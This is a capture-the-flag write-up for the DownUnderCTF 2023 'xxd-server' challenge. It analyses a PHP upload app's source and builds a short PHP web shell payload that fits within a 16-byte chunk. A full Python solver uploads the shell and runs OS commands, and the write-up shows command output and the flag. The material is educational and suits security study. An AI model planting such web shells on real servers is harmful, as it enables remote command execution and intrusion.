siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

xxd-server

Table of Contents🔗

  1. Overview
  2. Background
  3. Enumeration
  4. Exploitation
  5. Conclusion

Overview🔗

Background🔗

I wrote a little app that allows you to hex dump files over the internet.

Author: hashkitten

https://web-xxd-server-2680de9c070f.2023.ductf.dev

Enumeration🔗

Home page:

In here, we can upload a file:

┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|19:25:50(HKT)]
└> echo -n 'test' > test.txt

Burp Suite HTTP history:

When we clicked the “Upload” button, it’ll send a POST request to /, with form data parameter file-upload, filename, and the file’s content.

After uploaded, we can view the uploaded file in /uploads/<random_hex>/<filename>:

As expected, the uploaded file is the result of the xxd program, which allows you to view the binary data of a file.

In this challenge, we can download a file:

┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|19:27:26(HKT)]
└> file xxd_server.zip        
xxd_server.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|19:27:27(HKT)]
└> unzip xxd_server.zip        
Archive:  xxd_server.zip
  inflating: .htaccess               
  inflating: Dockerfile              
  inflating: index.php               

index.php:

<?php

// Emulate the behavior of command line 'xxd' tool
function xxd(string $s): string {
    $out = '';
    $ctr = 0;
    foreach (str_split($s, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= $c < ' ' || $c > '~' ? '.' : $c;
        }
        $out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string);
        $ctr += 16;
    }
    return $out;
}

$message = '';

// Is there an upload?
if (isset($_FILES['file-upload'])) {
    $upload_dir = 'uploads/' . bin2hex(random_bytes(8));
    $upload_path = $upload_dir . '/' . basename($_FILES['file-upload']['name']);
    mkdir($upload_dir);
    $upload_contents = xxd(file_get_contents($_FILES['file-upload']['tmp_name']));
    if (file_put_contents($upload_path, $upload_contents)) {
        $message = 'Your file has been uploaded. Click <a href="' . htmlspecialchars($upload_path) . '">here</a> to view';
    } else {
        $message = 'File upload failed.';
    }
}

?>
<!DOCTYPE html>
<html>
[...]
<body>
    <div class="container">
        <h1>xxd-server</h1>
        <p>Our patented hex technology&trade; allows you to view the binary data of any file. Try it here!</p>
        <form action="/" method="POST" enctype="multipart/form-data">
            <input type="file" id="file-upload" name="file-upload">
            <label for="file-upload">Select File</label>
            <br>
            <input type="submit" id="submit-button" value="Upload">
        </form>
        <?= $message ? '<p>' . $message . '</p>' : ''; ?>
    </div>
</body>
</html>

When we uploaded a file, it’ll call function xxd().

In that function, it’s emulating the behavior of command line xxd tool.

It’s worth noting that the file’s content will be splitted into 16 characters chunk:

    [...]
    foreach (str_split($s, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= $c < ' ' || $c > '~' ? '.' : $c;
        }
        $out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string);
        $ctr += 16;
    }
    [...]

.htaccess:

# Everything not a PHP file, should be served as text/plain
<FilesMatch "\.(?!(php)$)([^.]*)$">
    ForceType text/plain
</FilesMatch>

As you can see, when the file has the .php extension, it’ll run the file’s PHP code.

Exploitation🔗

That being said, we should be able to upload arbitrary PHP files, as the application doesn’t validate which file extension we’re not allow to upload:

Nice! We should now able to read the flag file!

Wait… What?? Why it’s empty?

I mean… We can test it locally:

<?php
function xxd(string $s): string {
    $out = '';
    $ctr = 0;
    foreach (str_split($s, 16) as $v) {
        $hex_string = implode(' ', str_split(bin2hex($v), 4));
        $ascii_string = '';
        foreach (str_split($v) as $c) {
            $ascii_string .= $c < ' ' || $c > '~' ? '.' : $c;
        }
        $out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string);
        $ctr += 16;
    }
    return $out;
}

$output = xxd('<?php system("cat /flag") ?>');
echo $output;
?>
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|19:50:16(HKT)]
└> php xxd.php
00000000: 3c3f 7068 7020 7379 7374 656d 2822 6361  <?php system("ca
00000010: 7420 2f66 6c61 6722 2920 3f3e            t /flag") ?>    

Oh! Do you remember the 16 characters chunk? In here, we can see that when the payload is greater than 16 characters, function xxd() will split the payload with a newline character.

Armed with above information, the payload must be less than 16 characters:

$payload = '<?=`$_GET[1]`;';
$output = xxd($payload);
echo "[+] xdd result:\n$output";
echo '[+] Payload length: ' . strlen($payload);
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|19:56:30(HKT)]
└> php xxd.php
[+] xdd result:
00000000: 3c3f 3d60 245f 4745 545b 315d 3b60       <?=`$_GET[1]`;  
[+] Payload length: 14

This payload is:

To automate stuff, I’ll write a Python script:

#!/usr/bin/env python3
import requests
import io
from bs4 import BeautifulSoup

class Solver:
    def __init__(self, BASE_URL):
        self.BASE_URL = BASE_URL

    def uploadFile(self, files):
        fileUploadResponse = requests.post(self.BASE_URL, files=files)

        if fileUploadResponse.status_code != 200:
            print('[-] Fail to upload the file...')
            return

        soup = BeautifulSoup(fileUploadResponse.text, 'html.parser')
        uploadedFilePath = soup.a['href']

        print(f'[+] File uploaded! Path: /{uploadedFilePath}')
        return uploadedFilePath

    def readUploadedFile(self, uploadedFilePath, command):
        fullUploadedFilePath = self.BASE_URL + uploadedFilePath + f'?1={command}'
        uploadedFileResponse = requests.get(fullUploadedFilePath)
        
        if uploadedFileResponse.status_code != 200:
            print('[-] Failed to execute OS command...')
            return

        print(f'[+] Command executed!! Response:\n{uploadedFileResponse.text.strip()}')

if __name__ == '__main__':
    BASE_URL = 'https://web-xxd-server-2680de9c070f.2023.ductf.dev/'
    solver = Solver(BASE_URL)

    phpFilename = 'payload.php'
    phpPayload = '<?=`$_GET[1]`;'
    phpFileObject = io.BytesIO(phpPayload.encode())
    files = {
        'file-upload': ('payload.php', phpFileObject)
    }
    uploadedFilePath = solver.uploadFile(files)

    try:
        print('[*] Execute OS command in here... Type "exit" to quit:')
        while True:
            command = input('> ')
            if command == 'exit':
                print('[*] Bye!')
                break

            solver.readUploadedFile(uploadedFilePath, command)
    except KeyboardInterrupt:
        print('\n[*] Bye!')
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|20:24:10(HKT)]
└> python3 solve.py
[+] File uploaded! Path: /uploads/317317414ddf9917/payload.php
[*] Execute OS command in here... Type "exit" to quit:
> ls -lah /
[+] Command executed!! Response:
00000000: 3c3f 3d60 245f 4745 545b 315d 603b       total 68K
drwxr-xr-x   1 root root 4.0K Sep  3 09:43 .
drwxr-xr-x   1 root root 4.0K Sep  3 09:43 ..
lrwxrwxrwx   1 root root    7 Aug 14 00:00 bin -> usr/bin
drwxr-xr-x   2 root root 4.0K Jul 14 16:00 boot
drwxr-xr-x   5 root root  360 Sep  3 09:43 dev
drwxr-xr-x   1 root root 4.0K Sep  3 09:43 etc
-rw-r--r--   1 root root   74 Aug 31 02:13 flag
drwxr-xr-x   2 root root 4.0K Jul 14 16:00 home
lrwxrwxrwx   1 root root    7 Aug 14 00:00 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Aug 14 00:00 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Aug 14 00:00 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Aug 14 00:00 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4.0K Aug 14 00:00 media
drwxr-xr-x   2 root root 4.0K Aug 14 00:00 mnt
drwxr-xr-x   2 root root 4.0K Aug 14 00:00 opt
dr-xr-xr-x 460 root root    0 Sep  3 09:43 proc
drwx------   1 root root 4.0K Aug 16 03:42 root
drwxr-xr-x   1 root root 4.0K Aug 16 02:16 run
lrwxrwxrwx   1 root root    8 Aug 14 00:00 sbin -> usr/sbin
drwxr-xr-x   2 root root 4.0K Aug 14 00:00 srv
dr-xr-xr-x  13 root root    0 Sep  3 09:42 sys
drwxrwxrwt   1 root root 4.0K Sep  3 12:24 tmp
drwxr-xr-x   1 root root 4.0K Aug 14 00:00 usr
drwxr-xr-x   1 root root 4.0K Aug 30 04:21 var
> cat /flag
[+] Command executed!! Response:
00000000: 3c3f 3d60 245f 4745 545b 315d 603b       DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}
> ^C
[*] Bye!

Conclusion🔗

What we’ve learned:

  1. Exploiting file upload vulnerability with 16 characters chunk